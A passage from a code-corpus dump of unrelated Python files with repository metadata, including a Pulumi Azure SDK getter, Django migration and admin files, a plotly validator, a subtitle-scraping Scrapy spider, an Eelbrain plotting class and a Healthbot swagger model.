last_action) if last_action_result and not isinstance(last_action_result, str): raise TypeError("Expected argument 'last_action_result' to be a str") pulumi.set(__self__, "last_action_result", last_action_result) if location and not isinstance(location, str): raise TypeError("Expected argument 'location' to be a str") pulumi.set(__self__, "location", location) if maximum_number_of_machines and not isinstance(maximum_number_of_machines, int): raise TypeError("Expected argument 'maximum_number_of_machines' to be a int") pulumi.set(__self__, "maximum_number_of_machines", maximum_number_of_machines) if multi_role_count and not isinstance(multi_role_count, int): raise TypeError("Expected argument 'multi_role_count' to be a int") pulumi.set(__self__, "multi_role_count", multi_role_count) if multi_size and not isinstance(multi_size, str): raise TypeError("Expected argument 'multi_size' to be a str") pulumi.set(__self__, "multi_size", multi_size) if name and not isinstance(name, str): raise TypeError("Expected argument 'name' to be a str") pulumi.set(__self__, "name", name) if network_access_control_list and not isinstance(network_access_control_list, list): raise TypeError("Expected argument 'network_access_control_list' to be a list") pulumi.set(__self__, "network_access_control_list", network_access_control_list) if provisioning_state and not isinstance(provisioning_state, str): raise TypeError("Expected argument 'provisioning_state' to be a str") pulumi.set(__self__, "provisioning_state", provisioning_state) if resource_group and not isinstance(resource_group, str): raise TypeError("Expected argument 'resource_group' to be a str") pulumi.set(__self__, "resource_group", resource_group) if ssl_cert_key_vault_id and not isinstance(ssl_cert_key_vault_id, str): raise TypeError("Expected argument 'ssl_cert_key_vault_id' to be a str") pulumi.set(__self__, "ssl_cert_key_vault_id", ssl_cert_key_vault_id) if ssl_cert_key_vault_secret_name and not isinstance(ssl_cert_key_vault_secret_name, str): raise TypeError("Expected argument 'ssl_cert_key_vault_secret_name' to be a str") pulumi.set(__self__, "ssl_cert_key_vault_secret_name", ssl_cert_key_vault_secret_name) if status and not isinstance(status, str): raise TypeError("Expected argument 'status' to be a str") pulumi.set(__self__, "status", status) if subscription_id and not isinstance(subscription_id, str): raise TypeError("Expected argument 'subscription_id' to be a str") pulumi.set(__self__, "subscription_id", subscription_id) if suspended and not isinstance(suspended, bool): raise TypeError("Expected argument 'suspended' to be a bool") pulumi.set(__self__, "suspended", suspended) if tags and not isinstance(tags, dict): raise TypeError("Expected argument 'tags' to be a dict") pulumi.set(__self__, "tags", tags) if type and not isinstance(type, str): raise TypeError("Expected argument 'type' to be a str") pulumi.set(__self__, "type", type) if upgrade_domains and not isinstance(upgrade_domains, int): raise TypeError("Expected argument 'upgrade_domains' to be a int") pulumi.set(__self__, "upgrade_domains", upgrade_domains) if user_whitelisted_ip_ranges and not isinstance(user_whitelisted_ip_ranges, list): raise TypeError("Expected argument 'user_whitelisted_ip_ranges' to be a list") pulumi.set(__self__, "user_whitelisted_ip_ranges", user_whitelisted_ip_ranges) if vip_mappings and not isinstance(vip_mappings, list): raise TypeError("Expected argument 'vip_mappings' to be a list") pulumi.set(__self__, "vip_mappings", vip_mappings) if virtual_network and not isinstance(virtual_network, dict): raise TypeError("Expected argument 'virtual_network' to be a dict") pulumi.set(__self__, "virtual_network", virtual_network) if vnet_name and not isinstance(vnet_name, str): raise TypeError("Expected argument 'vnet_name' to be a str") pulumi.set(__self__, "vnet_name", vnet_name) if vnet_resource_group_name and not isinstance(vnet_resource_group_name, str): raise TypeError("Expected argument 'vnet_resource_group_name' to be a str") pulumi.set(__self__, "vnet_resource_group_name", vnet_resource_group_name) if vnet_subnet_name and not isinstance(vnet_subnet_name, str): raise TypeError("Expected argument 'vnet_subnet_name' to be a str") pulumi.set(__self__, "vnet_subnet_name", vnet_subnet_name) if worker_pools and not isinstance(worker_pools, list): raise TypeError("Expected argument 'worker_pools' to be a list") pulumi.set(__self__, "worker_pools", worker_pools) @property @pulumi.getter(name="allowedMultiSizes") def allowed_multi_sizes(self) -> str: """ List of comma separated strings describing which VM sizes are allowed for front-ends. """ return pulumi.get(self, "allowed_multi_sizes") @property @pulumi.getter(name="allowedWorkerSizes") def allowed_worker_sizes(self) -> str: """ List of comma separated strings describing which VM sizes are allowed for workers. """ return pulumi.get(self, "allowed_worker_sizes") @property @pulumi.getter(name="apiManagementAccountId") def api_management_account_id(self) -> Optional[str]: """ API Management Account associated with the App Service Environment. """ return pulumi.get(self, "api_management_account_id") @property @pulumi.getter(name="clusterSettings") def cluster_settings(self) -> Optional[Sequence['outputs.NameValuePairResponse']]: """ Custom settings for changing the behavior of the App Service Environment. """ return pulumi.get(self, "cluster_settings") @property @pulumi.getter(name="databaseEdition") def database_edition(self) -> str: """ Edition of the metadata database for the App Service Environment, e.g. "Standard". """ return pulumi.get(self, "database_edition") @property @pulumi.getter(name="databaseServiceObjective") def database_service_objective(self) -> str: """ Service objective of the metadata database for the App Service Environment, e.g. "S0". """ return pulumi.get(self, "database_service_objective") @property @pulumi.getter(name="defaultFrontEndScaleFactor") def default_front_end_scale_factor(self) -> int: """ Default Scale Factor for FrontEnds. """ return pulumi.get(self, "default_front_end_scale_factor") @property @pulumi.getter(name="dnsSuffix") def dns_suffix(self) -> Optional[str]: """ DNS suffix of the App Service Environment. """ return pulumi.get(self, "dns_suffix") @property @pulumi.getter(name="dynamicCacheEnabled") def dynamic_cache_enabled(self) -> Optional[bool]: """ True/false indicating whether the App Service Environment is suspended. The environment can be suspended e.g. when the management endpoint is no longer available (most likely because NSG blocked the incoming traffic). """ return pulumi.get(self, "dynamic_cache_enabled") @property @pulumi.getter(name="environmentCapacities") def environment_capacities(self) -> Sequence['outputs.StampCapacityResponse']: """ Current total, used, and available worker capacities. """ return pulumi.get(self, "environment_capacities") @property @pulumi.getter(name="environmentIsHealthy") def environment_is_healthy(self) -> bool: """ True/false indicating whether the App Service Environment is healthy. """ return pulumi.get(self, "environment_is_healthy") @property @pulumi.getter(name="environmentStatus") def environment_status(self) -> str: """ Detailed message about with results of the last check of the App Service Environment. """ return pulumi.get(self, "environment_status") @property @pulumi.getter(name="frontEndScaleFactor") def front_end_scale_factor(self) -> Optional[int]: """ Scale factor for front-ends. """ return pulumi.get(self, "front_end_scale_factor") @property @pulumi.getter(name="hasLinuxWorkers") def has_linux_workers(self) -> Optional[bool]: """ Flag that displays whether an ASE has linux workers or not """ return pulumi.get(self, "has_linux_workers") @property @pulumi.getter def id(self) -> str: """ Resource Id. """ return pulumi.get(self, "id") @property @pulumi.getter(name="internalLoadBalancingMode") def internal_load_balancing_mode(self) -> Optional[str]: """ Specifies which endpoints to serve internally in the Virtual Network for the App Service Environment. """ return pulumi.get(self, "internal_load_balancing_mode") @property @pulumi.getter(name="ipsslAddressCount") def ipssl_address_count(self) -> Optional[int]: """ Number of IP SSL addresses reserved for the App Service Environment. """ return pulumi.get(self, "ipssl_address_count") @property @pulumi.getter def kind(self) -> Optional[str]: """ Kind of resource. """ return pulumi.get(self, "kind") @property @pulumi.getter(name="lastAction") def last_action(self) -> str: """ Last deployment action on the App Service Environment. """ return pulumi.get(self, "last_action") @property @pulumi.getter(name="lastActionResult") def last_action_result(self) -> str: """ Result of the last deployment action on the App Service Environment. """ return pulumi.get(self, "last_action_result") @property @pulumi.getter def location(self) -> str: """ Resource Location. """ return pulumi.get(self, "location") @property @pulumi.getter(name="maximumNumberOfMachines") def maximum_number_of_machines(self) -> int: """ Maximum number of VMs in the App Service Environment. """ return pulumi.get(self, "maximum_number_of_machines") @property @pulumi.getter(name="multiRoleCount") def multi_role_count(self) -> Optional[int]: """ Number of front-end instances. """ return pulumi.get(self, "multi_role_count") @property @pulumi.getter(name="multiSize") def multi_size(self) -> Optional[str]: """ Front-end VM size, e.g. "Medium", "Large". """ return pulumi.get(self, "multi_size") @property @pulumi.getter def name(self) -> str: """ Resource Name. """ return pulumi.get(self, "name") @property @pulumi.getter(name="networkAccessControlList") def network_access_control_list(self) -> Optional[Sequence['outputs.NetworkAccessControlEntryResponse']]: """ Access control list for controlling traffic to the App Service Environment. """ return pulumi.get(self, "network_access_control_list") @property @pulumi.getter(name="provisioningState") def provisioning_state(self) -> str: """ Provisioning state of the App Service Environment. """ return pulumi.get(self, "provisioning_state") @property @pulumi.getter(name="resourceGroup") def resource_group(self) -> str: """ Resource group of the App Service Environment. """ return pulumi.get(self, "resource_group") @property @pulumi.getter(name="sslCertKeyVaultId") def ssl_cert_key_vault_id(self) -> Optional[str]: """ Key Vault ID for ILB App Service Environment default SSL certificate """ return pulumi.get(self, "ssl_cert_key_vault_id") @property @pulumi.getter(name="sslCertKeyVaultSecretName") def ssl_cert_key_vault_secret_name(self) -> Optional[str]: """ Key Vault Secret Name for ILB App Service Environment default SSL certificate """ return pulumi.get(self, "ssl_cert_key_vault_secret_name") @property @pulumi.getter def status(self) -> str: """ Current status of the App Service Environment. """ return pulumi.get(self, "status") @property @pulumi.getter(name="subscriptionId") def subscription_id(self) -> str: """ Subscription of the App Service Environment. """ return pulumi.get(self, "subscription_id") @property @pulumi.getter def suspended(self) -> Optional[bool]: """ <code>true</code> if the App Service Environment is suspended; otherwise, <code>false</code>. The environment can be suspended, e.g. when the management endpoint is no longer available (most likely because NSG blocked the incoming traffic). """ return pulumi.get(self, "suspended") @property @pulumi.getter def tags(self) -> Optional[Mapping[str, str]]: """ Resource tags. """ return pulumi.get(self, "tags") @property @pulumi.getter def type(self) -> str: """ Resource type. """ return pulumi.get(self, "type") @property @pulumi.getter(name="upgradeDomains") def upgrade_domains(self) -> int: """ Number of upgrade domains of the App Service Environment. """ return pulumi.get(self, "upgrade_domains") @property @pulumi.getter(name="userWhitelistedIpRanges") def user_whitelisted_ip_ranges(self) -> Optional[Sequence[str]]: """ User added ip ranges to whitelist on ASE db """ return pulumi.get(self, "user_whitelisted_ip_ranges") @property @pulumi.getter(name="vipMappings") def vip_mappings(self) -> Sequence['outputs.VirtualIPMappingResponse']: """ Description of IP SSL mapping for the App Service Environment. """ return pulumi.get(self, "vip_mappings") @property @pulumi.getter(name="virtualNetwork") def virtual_network(self) -> 'outputs.VirtualNetworkProfileResponse': """ Description of the Virtual Network. """ return pulumi.get(self, "virtual_network") @property @pulumi.getter(name="vnetName") def vnet_name(self) -> Optional[str]: """ Name of the Virtual Network for the App Service Environment. """ return pulumi.get(self, "vnet_name") @property @pulumi.getter(name="vnetResourceGroupName") def vnet_resource_group_name(self) -> Optional[str]: """ Resource group of the Virtual Network. """ return pulumi.get(self, "vnet_resource_group_name") @property @pulumi.getter(name="vnetSubnetName") def vnet_subnet_name(self) -> Optional[str]: """ Subnet of the Virtual Network. """ return pulumi.get(self, "vnet_subnet_name") @property @pulumi.getter(name="workerPools") def worker_pools(self) -> Sequence['outputs.WorkerPoolResponse']: """ Description of worker pools with worker size IDs, VM sizes, and number of workers in each pool. """ return pulumi.get(self, "worker_pools") class AwaitableGetAppServiceEnvironmentResult(GetAppServiceEnvironmentResult): # pylint: disable=using-constant-test def __await__(self): if False: yield self return GetAppServiceEnvironmentResult( allowed_multi_sizes=self.allowed_multi_sizes, allowed_worker_sizes=self.allowed_worker_sizes, api_management_account_id=self.api_management_account_id, cluster_settings=self.cluster_settings, database_edition=self.database_edition, database_service_objective=self.database_service_objective, default_front_end_scale_factor=self.default_front_end_scale_factor, dns_suffix=self.dns_suffix, dynamic_cache_enabled=self.dynamic_cache_enabled, environment_capacities=self.environment_capacities, environment_is_healthy=self.environment_is_healthy, environment_status=self.environment_status, front_end_scale_factor=self.front_end_scale_factor, has_linux_workers=self.has_linux_workers, id=self.id, internal_load_balancing_mode=self.internal_load_balancing_mode, ipssl_address_count=self.ipssl_address_count, kind=self.kind, last_action=self.last_action, last_action_result=self.last_action_result, location=self.location, maximum_number_of_machines=self.maximum_number_of_machines, multi_role_count=self.multi_role_count, multi_size=self.multi_size, name=self.name, network_access_control_list=self.network_access_control_list, provisioning_state=self.provisioning_state, resource_group=self.resource_group, ssl_cert_key_vault_id=self.ssl_cert_key_vault_id, ssl_cert_key_vault_secret_name=self.ssl_cert_key_vault_secret_name, status=self.status, subscription_id=self.subscription_id, suspended=self.suspended, tags=self.tags, type=self.type, upgrade_domains=self.upgrade_domains, user_whitelisted_ip_ranges=self.user_whitelisted_ip_ranges, vip_mappings=self.vip_mappings, virtual_network=self.virtual_network, vnet_name=self.vnet_name, vnet_resource_group_name=self.vnet_resource_group_name, vnet_subnet_name=self.vnet_subnet_name, worker_pools=self.worker_pools) def get_app_service_environment(name: Optional[str] = None, resource_group_name: Optional[str] = None, opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetAppServiceEnvironmentResult: """ App Service Environment ARM resource. :param str name: Name of the App Service Environment. :param str resource_group_name: Name of the resource group to which the resource belongs. """ __args__ = dict() __args__['name'] = name __args__['resourceGroupName'] = resource_group_name if opts is None: opts = pulumi.InvokeOptions() if opts.version is None: opts.version = _utilities.get_version() __ret__ = pulumi.runtime.invoke('azure-native:web/v20190801:getAppServiceEnvironment', __args__, opts=opts, typ=GetAppServiceEnvironmentResult).value return AwaitableGetAppServiceEnvironmentResult( allowed_multi_sizes=__ret__.allowed_multi_sizes, allowed_worker_sizes=__ret__.allowed_worker_sizes, api_management_account_id=__ret__.api_management_account_id, cluster_settings=__ret__.cluster_settings, database_edition=__ret__.database_edition, database_service_objective=__ret__.database_service_objective, default_front_end_scale_factor=__ret__.default_front_end_scale_factor, dns_suffix=__ret__.dns_suffix, dynamic_cache_enabled=__ret__.dynamic_cache_enabled, environment_capacities=__ret__.environment_capacities, environment_is_healthy=__ret__.environment_is_healthy, environment_status=__ret__.environment_status, front_end_scale_factor=__ret__.front_end_scale_factor, has_linux_workers=__ret__.has_linux_workers, id=__ret__.id, internal_load_balancing_mode=__ret__.internal_load_balancing_mode, ipssl_address_count=__ret__.ipssl_address_count, kind=__ret__.kind, last_action=__ret__.last_action, last_action_result=__ret__.last_action_result, location=__ret__.location, maximum_number_of_machines=__ret__.maximum_number_of_machines, multi_role_count=__ret__.multi_role_count, multi_size=__ret__.multi_size, name=__ret__.name, network_access_control_list=__ret__.network_access_control_list, provisioning_state=__ret__.provisioning_state, resource_group=__ret__.resource_group, ssl_cert_key_vault_id=__ret__.ssl_cert_key_vault_id, ssl_cert_key_vault_secret_name=__ret__.ssl_cert_key_vault_secret_name, status=__ret__.status, subscription_id=__ret__.subscription_id, suspended=__ret__.suspended, tags=__ret__.tags, type=__ret__.type, upgrade_domains=__ret__.upgrade_domains, user_whitelisted_ip_ranges=__ret__.user_whitelisted_ip_ranges, vip_mappings=__ret__.vip_mappings, virtual_network=__ret__.virtual_network, vnet_name=__ret__.vnet_name, vnet_resource_group_name=__ret__.vnet_resource_group_name, vnet_subnet_name=__ret__.vnet_subnet_name, worker_pools=__ret__.worker_pools)
c80d9a2343aca0918bbb101a3c88bd909e4f5918
7d2a4c5ca215a362ad6fbb70ef5b5f8c35d41dde
/Blogs/migrations/0002_alter_blog_image.py
0f7415c8765b564f966cfe2b42c4fbfbbaa858a1
[]
no_license
samarthdubey46/e-waste-management-api
77dcc92fa31b01830196e5092cb8a9e181963d01
db1e8644c907f926f81405de82befe24802ca0f1
refs/heads/master
2023-07-15T14:15:10.199441
2021-08-31T08:02:53
2021-08-31T08:02:53
400,775,691
0
0
null
null
null
null
UTF-8
Python
false
false
393
py
# Generated by Django 3.2.6 on 2021-08-28 08:41 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('Blogs', '0001_initial'), ] operations = [ migrations.AlterField( model_name='blog', name='image', field=models.ImageField(null=True, upload_to='image/blogs/'), ), ]
53a0ba2cffce925eb433917b92108940b30cdadd
d41d18d3ea6edd2ec478b500386375a8693f1392
/plotly/validators/splom/marker/colorbar/_yanchor.py
7bdec6fa6e20bdf476093c16d4c3744796a72d42
[ "MIT" ]
permissive
miladrux/plotly.py
38921dd6618650d03be9891d6078e771ffccc99a
dbb79e43e2cc6c5762251537d24bad1dab930fff
refs/heads/master
2020-03-27T01:46:57.497871
2018-08-20T22:37:38
2018-08-20T22:37:38
145,742,203
1
0
MIT
2018-08-22T17:37:07
2018-08-22T17:37:07
null
UTF-8
Python
false
false
502
py
import _plotly_utils.basevalidators class YanchorValidator(_plotly_utils.basevalidators.EnumeratedValidator): def __init__( self, plotly_name='yanchor', parent_name='splom.marker.colorbar', **kwargs ): super(YanchorValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type='calc', role='style', values=['top', 'middle', 'bottom'], **kwargs )
e6970cb8d04c3a1b3b3da121bdf7651f040de209
3bb57eb1f7c1c0aced487e7ce88f3cb84d979054
/lseval+lexmturk/scripts/sr_rankers/Run_All_Horn.py
eb5c4ae4dfce46d0995eda12dedd951c2de65797
[]
no_license
ghpaetzold/phd-backup
e100cd0bbef82644dacc73a8d1c6b757b2203f71
6f5eee43e34baa796efb16db0bc8562243a049b6
refs/heads/master
2020-12-24T16:41:21.490426
2016-04-23T14:50:07
2016-04-23T14:50:07
37,981,094
0
1
null
null
null
null
UTF-8
Python
false
false
806
py
import os #Parameters: Cs = ['1', '0.1'] epsilons = ['0.0001', '0.001'] kernels = ['0', '1', '2', '3', '4'] trainset = '../../corpora/ls_dataset_benchmarking_train.txt' testset = '../../corpora/ls_dataset_benchmarking_test.txt' os.system('mkdir ../../sr_rankings/horn') counter = -1 for C in Cs: for e in epsilons: for k in kernels: counter += 1 output = '../../sr_rankings/horn/ranks_'+C+'_'+e+'_'+k+'.txt' trfile = './temp/train_feature_file_'+str(counter)+'.txt' mfile = './temp/model_'+str(counter)+'.txt' tefile = './temp/test_feature_file_'+str(counter)+'.txt' sfile = './temp/scores_'+str(counter)+'.txt' comm = 'nohup python Run_Horn.py '+trainset+' '+trfile+' '+C+' '+e+' '+k+' '+mfile+' '+tefile+' '+sfile+' '+testset+' '+output+' &' os.system(comm) #print(comm)
73230a94456e0062d709d371ebeac405c5879b53
ee76919635ce69e14ddf64ee9483dca073625aaf
/pythonAlgorithm/Practice/15三数之和.py
f18feaa502c50835d85034cfb9039363f056ee87
[]
no_license
bossjoker1/algorithm
574e13f0dd8fe6b3e810efc03649493e90504288
c745168a01380edb52155ca3918787d2dd356e5b
refs/heads/master
2022-07-13T16:26:10.324544
2022-07-10T03:28:15
2022-07-10T03:28:15
407,361,838
4
0
null
null
null
null
UTF-8
Python
false
false
1,052
py
class Solution: def threeSum(self, nums: List[int]) -> List[List[int]]: n=len(nums) res=[] # 特判 if(not nums or n<3): return [] nums.sort() res=[] for i in range(n): # 全为正整数的情况 if(nums[i]>0): return res # 冗余情况,加速 if(i>0 and nums[i]==nums[i-1]): continue # 定位i,L, R滑动。 L=i+1 R=n-1 while(L<R): sum = nums[i]+nums[L]+nums[R] if(sum==0): res.append([nums[i],nums[L],nums[R]]) # 去重 while(L<R and nums[L]==nums[L+1]): L=L+1 while(L<R and nums[R]==nums[R-1]): R=R-1 L=L+1 R=R-1 elif(sum>0): R=R-1 else: L=L+1 return res
0063eea34d1491e9546c8c5e3ed0b43f7fb66034
d57f981dc8a2cc80a273e49443c8f99aa38b5ad1
/posts/admin.py
3fbfa6f6c7502a23d5f1054b7a5bb564927db8be
[]
no_license
zmm064/TryDjango19
cfa048f84e5998c9329ed167b79b6d155d8a7ae0
da2191ecc08ec17fb94c2c7510eee6e09d6db71d
refs/heads/master
2021-04-27T00:20:38.741458
2018-03-09T11:15:28
2018-03-09T11:15:28
123,797,934
0
0
null
null
null
null
UTF-8
Python
false
false
403
py
from django.contrib import admin # Register your models here. from .models import Post class PostAdmin(admin.ModelAdmin): list_display = ["title", "updated", "timestamp"] list_display_links = ["updated"] list_filter = ["updated", "timestamp"] list_editable = ["title"] search_fields = ["title", "content"] class Meta: model = Post admin.site.register(Post, PostAdmin)
d530d04821718e82725fa9b779b7c11b08bd24ce
50e3ae7c6a057fb20af1a14641b3b03ce8b7516d
/Python-曾學文/final/subtitleCrawler/subtitleCrawler/subtitleCrawler/spiders/zmtiantang.py
f76bc8a05b2e2de0a69c7387e065f8f9cff54730
[]
no_license
david30907d/HomeWork
a8787093baa95f4a39a0ad255d8a3304f156b6e6
6908d4bac7269a65b1e7bc6bca8096c304eeae3f
refs/heads/master
2020-12-29T02:32:37.124986
2018-06-26T14:06:35
2018-06-26T14:06:35
55,396,758
1
1
null
2019-11-04T03:25:21
2016-04-04T08:45:20
JavaScript
UTF-8
Python
false
false
1,045
py
# -*- coding: utf-8 -*- import scrapy from bs4 import BeautifulSoup import requests import shutil class ZmtiantangSpider(scrapy.Spider): name = "zmtiantang" allowed_domains = ["www.zmtiantang.com"] start_urls = list(map(lambda x:'http://www.zmtiantang.com/e/action/ListInfo/?classid=1&page=' + str(x), range(4857, 5630))) def parse(self, response): res = BeautifulSoup(response.body) downloadURL = res.select('span.label-danger') for i in downloadURL: yield scrapy.Request('http://'+self.allowed_domains[0] + i.parent['href'], callback=self.parse_detail) def parse_detail(self, response): res = BeautifulSoup(response.body) download = res.select('.btn-sm')[0] self.download_file('http://'+self.allowed_domains[0] + download['href']) @staticmethod def download_file(url): local_filename = url.split('/')[-1] r = requests.get(url, stream=True) with open(local_filename + '.zip', 'wb') as f: shutil.copyfileobj(r.raw, f)
e06c17fe9746be2b35d591a6f3d3b6a268adc273
4947b045d4a221d4e92ac363b22c1213e1c11c0b
/eelbrain/plot/_line.py
2bfef0d4c951afafc731be98e67076905f3f535f
[ "BSD-3-Clause" ]
permissive
weilongzheng/Eelbrain
51db9396ba5184493ff59e0d481aac3aae64442c
feb9bdec2a99aca3077e44f318aef1c85a2e4730
refs/heads/master
2020-03-28T18:31:24.633084
2018-09-12T02:38:57
2018-09-13T20:29:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,895
py
# -*- coding: utf-8 -*- # Author: Christian Brodbeck <[email protected]> "Line plots" from itertools import cycle, repeat import numpy as np from .._data_obj import ascategorial, asndvar, assub from ._base import ( EelFigure, Layout, LegendMixin, XAxisMixin, find_axis_params_data, frame_title) from functools import reduce class LineStack(LegendMixin, XAxisMixin, EelFigure): """Stack multiple lines vertically Parameters ---------- y : NDVar Values to plot. x : cateorial Variable to aggregate cases into lines (default is to plot each line). sub : None | index array Only use a subset of the data provided. ds : None | Dataset If a Dataset is specified, all data-objects can be specified as names of Dataset variables. offset : float | str The distance between the baseline (y = 0) for the different lines. Can be a string expressed as a function of y. For example, ``'0.66 * max(y)'`` will offset each line by 0.66 times the maximum value in ``y`` (after aggregating if ``x`` is specified). The default is ``'2/3 * max(y.max(), -y.min())'``. xlim : scalar | (scalar, scalar) Initial x-axis view limits as ``(left, right)`` tuple or as ``length`` scalar (default is the full x-axis in the data). xlabel : bool | str X-axis label. By default the label is inferred from the data. xticklabels : bool Print x-axis tick-labels (set to False to suppress them). ylabel : bool | str Y-axis label. By default the label is inferred from the data. colors : dict | sequence of colors Colors for the lines (default is all lines in black). ylabels : bool | dict | sequence of str Labels for the different lines, placed along the y-axis. legend : str | int | 'fig' | None Matplotlib figure legend location argument or 'fig' to plot the legend in a separate figure. clip : bool Clip lines outside of axes (default ``True``). Notes ----- Navigation: - ``←``: scroll left - ``→``: scroll right - ``home``: scroll to beginning - ``end``: scroll to end - ``f``: x-axis zoom in (reduce x axis range) - ``d``: x-axis zoom out (increase x axis range) """ _name = "LineStack" def __init__(self, y, x=None, sub=None, ds=None, offset='y.max() - y.min()', ylim=None, xlim=None, xlabel=True, xticklabels=True, ylabel=True, order=None, colors=None, ylabels=True, xdim=None, legend=None, clip=True, *args, **kwargs): sub = assub(sub, ds) if isinstance(y, (tuple, list)): if x is not None: raise TypeError( "x can only be used to divide y into different lines if y " "is a single NDVar (got y=%r)." % (y,)) elif order is not None: raise TypeError("The order parameter only applies if y is a " "single NDVar") ys = tuple(asndvar(y_, sub, ds) for y_ in y) xdims = set(y_.get_dimnames((None,))[0] for y_ in ys) if len(xdims) > 1: raise ValueError("NDVars must have same dimension, got %s" % (tuple(xdims),)) xdim = xdims.pop() ydata = tuple(y_.get_data(xdim) for y_ in ys) ny = len(ydata) xdim_objs = tuple(y_.get_dim(xdim) for y_ in ys) xdata = tuple(d._axis_data() for d in xdim_objs) xdim_obj = reduce(lambda d1, d2: d1._union(d2), xdim_objs) if isinstance(offset, str): offset = max(eval(offset, {'y': y_}) for y_ in ydata) cells = cell_labels = tuple(y_.name for y_ in ys) if ylabel is True: _, ylabel = find_axis_params_data(ys[0], ylabel) epochs = (ys,) else: y = asndvar(y, sub, ds) if x is not None: x = ascategorial(x, sub, ds) y = y.aggregate(x) # find plotting dims if xdim is None and y.has_dim('time'): ydim, xdim = y.get_dimnames((None, 'time')) else: ydim, xdim = y.get_dimnames((None, xdim)) xdim_obj = y.get_dim(xdim) # get data ydata = y.get_data((ydim, xdim)) if isinstance(offset, str): offset = eval(offset, {'y': y}) # find cells if x is None: cells = y.get_dim(ydim) cell_labels = tuple(map(str, cells)) else: cells = cell_labels = x.cells if order is not None: sort_index = [cells._array_index(i) for i in order] ydata = ydata[sort_index] cells = tuple(cells[i] for i in sort_index) cell_labels = tuple(cell_labels[i] for i in sort_index) if ylabel is True: _, ylabel = find_axis_params_data(y, ylabel) epochs = ((y,),) ny = len(ydata) xdata = repeat(xdim_obj._axis_data(), ny) offsets = np.arange(ny - 1, -1, -1) * offset if ylabels is True: ylabels = cell_labels # colors if colors is None: color_iter = repeat('k', ny) elif isinstance(colors, dict): color_iter = (colors[cell] for cell in cells) elif len(colors) < ny: color_iter = cycle(colors) else: color_iter = colors layout = Layout(1, 2. / ny, 6, *args, **kwargs) EelFigure.__init__(self, frame_title(y, x), layout) ax = self._axes[0] handles = [ax.plot(x_, y_ + offset_, color=color, clip_on=clip)[0] for x_, y_, offset_, color in zip(xdata, ydata, offsets, color_iter)] if ylim is None: ymin = min(y.min() for y in ydata) if isinstance(ydata, tuple) else ydata.min() ylim = (min(0, ydata[-1].min()) - 0.1 * offset, offset * (ny - 0.9) + max(0, ydata[0].max())) else: ymin, ymax = ylim ylim = (ymin, offset * (ny - 1) + ymax) ax.grid(True) ax.set_frame_on(False) ax.xaxis.set_ticks_position('none') ax.yaxis.set_ticks_position('none') ax.set_yticks(offsets) ax.set_yticklabels(ylabels or (), va='center' if ymin < 0 else 'baseline') ax.set_ylim(ylim) self._configure_xaxis_dim(xdim_obj, xlabel, xticklabels) if ylabel: ax.set_ylabel(ylabel) XAxisMixin._init_with_data(self, epochs, xdim, xlim) LegendMixin.__init__(self, legend, dict(zip(cell_labels, handles))) self._show()
42a601ec67877ad564b2a27019c601b1b6d54007
ce6cb09c21470d1981f1b459293d353407c8392e
/lib/jnpr/healthbot/swagger/models/devicegroup_schema_logging_syslog.py
39bcac4a8b3a6a430adb23b8b3c466be84056209
[ "Apache-2.0" ]
permissive
minefuto/healthbot-py-client
c4be4c9c3153ef64b37e5344bf84154e93e7b521
bb81452c974456af44299aebf32a73abeda8a943
refs/heads/master
2022-12-04T07:47:04.722993
2020-05-13T14:04:07
2020-05-13T14:04:07
290,145,286
0
0
Apache-2.0
2020-08-25T07:27:54
2020-08-25T07:27:53
null
UTF-8
Python
false
false
4,871
py
# coding: utf-8 """ Healthbot APIs API interface for Healthbot application # noqa: E501 OpenAPI spec version: 1.0.0 Contact: [email protected] Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class DevicegroupSchemaLoggingSyslog(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'daemons': 'list[str]', 'log_level': 'str' } attribute_map = { 'daemons': 'daemons', 'log_level': 'log-level' } def __init__(self, daemons=None, log_level=None): # noqa: E501 """DevicegroupSchemaLoggingSyslog - a model defined in Swagger""" # noqa: E501 self._daemons = None self._log_level = None self.discriminator = None if daemons is not None: self.daemons = daemons self.log_level = log_level @property def daemons(self): """Gets the daemons of this DevicegroupSchemaLoggingSyslog. # noqa: E501 :return: The daemons of this DevicegroupSchemaLoggingSyslog. # noqa: E501 :rtype: list[str] """ return self._daemons @daemons.setter def daemons(self, daemons): """Sets the daemons of this DevicegroupSchemaLoggingSyslog. :param daemons: The daemons of this DevicegroupSchemaLoggingSyslog. # noqa: E501 :type: list[str] """ allowed_values = ["ingest", "tand", "publishd"] # noqa: E501 if not set(daemons).issubset(set(allowed_values)): raise ValueError( "Invalid values for `daemons` [{0}], must be a subset of [{1}]" # noqa: E501 .format(", ".join(map(str, set(daemons) - set(allowed_values))), # noqa: E501 ", ".join(map(str, allowed_values))) ) self._daemons = daemons @property def log_level(self): """Gets the log_level of this DevicegroupSchemaLoggingSyslog. # noqa: E501 Set the logging level # noqa: E501 :return: The log_level of this DevicegroupSchemaLoggingSyslog. # noqa: E501 :rtype: str """ return self._log_level @log_level.setter def log_level(self, log_level): """Sets the log_level of this DevicegroupSchemaLoggingSyslog. Set the logging level # noqa: E501 :param log_level: The log_level of this DevicegroupSchemaLoggingSyslog. # noqa: E501 :type: str """ if log_level is None: raise ValueError("Invalid value for `log_level`, must not be `None`") # noqa: E501 allowed_values = ["error", "debug", "warn", "info"] # noqa: E501 if log_level not in allowed_values: raise ValueError( "Invalid value for `log_level` ({0}), must be one of {1}" # noqa: E501 .format(log_level, allowed_values) ) self._log_level = log_level def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(DevicegroupSchemaLoggingSyslog, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, 